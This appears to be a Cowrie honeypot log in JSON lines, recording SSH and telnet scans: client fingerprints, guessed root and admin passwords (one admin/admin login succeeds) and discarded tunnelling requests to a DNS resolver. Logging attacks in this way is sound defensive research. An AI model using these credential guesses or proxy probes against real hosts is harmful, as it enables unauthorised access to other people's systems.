{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.096016Z","src_ip":"87.251.64.176","session":"e3aec03fbcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.228846Z","src_ip":"39.117.79.36","session":"2c98fcd8c4ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.393322Z","src_ip":"87.251.64.176","session":"e3aec03fbcd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.492025Z","session":"e3aec03fbcd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.594219Z","src_ip":"87.251.64.176","session":"e3aec03fbcd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.716866Z","src_ip":"87.251.64.176","session":"e3aec03fbcd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2024@","message":"login attempt [root/Root2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:35.055916Z","src_ip":"39.117.79.36","session":"2c98fcd8c4ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:36.256863Z","src_ip":"39.117.79.36","session":"2c98fcd8c4ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.28289556503296,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:43.550199Z","src_ip":"152.42.224.71","session":"3647730b478f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.436593532562256,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:50.337348Z","src_ip":"152.42.224.71","session":"247dc439785d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":52142,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c55c2014c2","protocol":"ssh","message":"New connection: 103.82.132.16:52142 (159.203.135.109:22) [session: 98c55c2014c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:11.439822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:11.444756Z","src_ip":"103.82.132.16","session":"98c55c2014c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:11.709277Z","src_ip":"103.82.132.16","session":"98c55c2014c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orange","message":"login attempt [root/orange] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:12.506778Z","src_ip":"103.82.132.16","session":"98c55c2014c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:13.777660Z","src_ip":"103.82.132.16","session":"98c55c2014c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"f896384cd39e","protocol":"telnet","message":"New connection: 152.42.224.71:56146 (10.17.0.5:23) [session: f896384cd39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:32.666600Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51202,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4138378239b","protocol":"telnet","message":"New connection: 152.42.224.71:51202 (10.17.0.5:23) [session: f4138378239b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:39.964479Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33520,"dst_ip":"159.203.135.109","dst_port":22,"session":"439b3232cb80","protocol":"ssh","message":"New connection: 103.15.222.183:33520 (159.203.135.109:22) [session: 439b3232cb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:44.313493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:44.318941Z","src_ip":"103.15.222.183","session":"439b3232cb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:44.558188Z","src_ip":"103.15.222.183","session":"439b3232cb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dtxyjcnm","message":"login attempt [root/dtxyjcnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:45.277028Z","src_ip":"103.15.222.183","session":"439b3232cb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:46.519271Z","src_ip":"103.15.222.183","session":"439b3232cb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60508,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed03da1a3dcb","protocol":"telnet","message":"New connection: 152.42.224.71:60508 (10.17.0.5:23) [session: ed03da1a3dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:08:56.605348Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42018,"dst_ip":"159.203.135.109","dst_port":22,"session":"d899a3ffe2ec","protocol":"ssh","message":"New connection: 103.27.238.116:42018 (159.203.135.109:22) [session: d899a3ffe2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:07.395418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:07.406020Z","src_ip":"103.27.238.116","session":"d899a3ffe2ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:07.683101Z","src_ip":"103.27.238.116","session":"d899a3ffe2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t1","message":"login attempt [root/1q2w3e4r5t1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:08.515469Z","src_ip":"103.27.238.116","session":"d899a3ffe2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:09.796986Z","src_ip":"103.27.238.116","session":"d899a3ffe2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":44716,"dst_ip":"159.203.135.109","dst_port":22,"session":"4190dce0954c","protocol":"ssh","message":"New connection: 103.75.183.219:44716 (159.203.135.109:22) [session: 4190dce0954c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:17.735998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:17.744454Z","src_ip":"103.75.183.219","session":"4190dce0954c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:17.990965Z","src_ip":"103.75.183.219","session":"4190dce0954c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rustam","message":"login attempt [root/rustam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:18.730314Z","src_ip":"103.75.183.219","session":"4190dce0954c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:19.979222Z","src_ip":"103.75.183.219","session":"4190dce0954c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45812,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c9fbcde275","protocol":"telnet","message":"New connection: 152.42.224.71:45812 (10.17.0.5:23) [session: 21c9fbcde275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:36.241860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36458,"dst_ip":"10.17.0.5","dst_port":23,"session":"398b6fc4acae","protocol":"telnet","message":"New connection: 152.42.224.71:36458 (10.17.0.5:23) [session: 398b6fc4acae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:36.794595Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36466,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b80b6f0534","protocol":"telnet","message":"New connection: 152.42.224.71:36466 (10.17.0.5:23) [session: 16b80b6f0534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:40.579882Z"}
{"eventid":"cowrie.session.closed","duration":69.14573669433594,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:09:49.110112Z","src_ip":"152.42.224.71","session":"f4138378239b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54674,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1668a0e8274","protocol":"ssh","message":"New connection: 87.251.64.176:54674 (10.17.0.5:22) [session: c1668a0e8274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:13.393523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:13.406427Z","src_ip":"87.251.64.176","session":"c1668a0e8274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:13.505475Z","src_ip":"87.251.64.176","session":"c1668a0e8274","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:13.807879Z","src_ip":"87.251.64.176","session":"c1668a0e8274","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:13.912740Z","session":"c1668a0e8274","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:14.019474Z","src_ip":"87.251.64.176","session":"c1668a0e8274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:14.258642Z","src_ip":"87.251.64.176","session":"c1668a0e8274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.32387447357178,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:10:20.118088Z","src_ip":"152.42.224.71","session":"398b6fc4acae","protocol":"telnet"}
